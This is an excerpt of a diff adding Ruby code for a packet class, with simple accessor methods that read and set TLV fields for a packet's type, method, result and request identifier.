642
+ #
643
+ # Checks to see if the packet is a response.
644
+ #
645
+ def response?
646
+ return ((self.type == PACKET_TYPE_RESPONSE) ||
647
+ (self.type == PACKET_TYPE_PLAIN_RESPONSE))
648
+ end
649
+
650
+ ##
651
+ #
652
+ # Accessors
653
+ #
654
+ ##
655
+
656
+ #
657
+ # Checks to see if the packet's method is equal to the supplied method.
658
+ #
659
+ def method?(method)
660
+ return (get_tlv_value(TLV_TYPE_METHOD) == method)
661
+ end
662
+
663
+ #
664
+ # Sets the packet's method TLV to the method supplied.
665
+ #
666
+ def method=(method)
667
+ add_tlv(TLV_TYPE_METHOD, method, true)
668
+ end
669
+
670
+ #
671
+ # Returns the value of the packet's method TLV.
672
+ #
673
+ def method
674
+ return get_tlv_value(TLV_TYPE_METHOD)
675
+ end
676
+
677
+ #
678
+ # Checks to see if the packet's result value is equal to the supplied
679
+ # result.
680
+ #
681
+ def result?(result)
682
+ return (get_tlv_value(TLV_TYPE_RESULT) == result)
683
+ end
684
+
685
+ #
686
+ # Sets the packet's result TLV.
687
+ #
688
+ def result=(result)
689
+ add_tlv(TLV_TYPE_RESULT, result, true)
690
+ end
691
+
692
+ #
693
+ # Gets the value of the packet's result TLV.
694
+ #
695
+ def result
696
+ return get_tlv_value(TLV_TYPE_RESULT)
697
+ end
698
+
699
+ #
700
+ # Gets the value of the packet's request identifier TLV.
701
+ #
702
+ def rid
703
+ return get_tlv_value(TLV_TYPE_REQUEST_ID)
704
+ end
705
+ end
706
+
707
+
708
+ end; end; end
709
+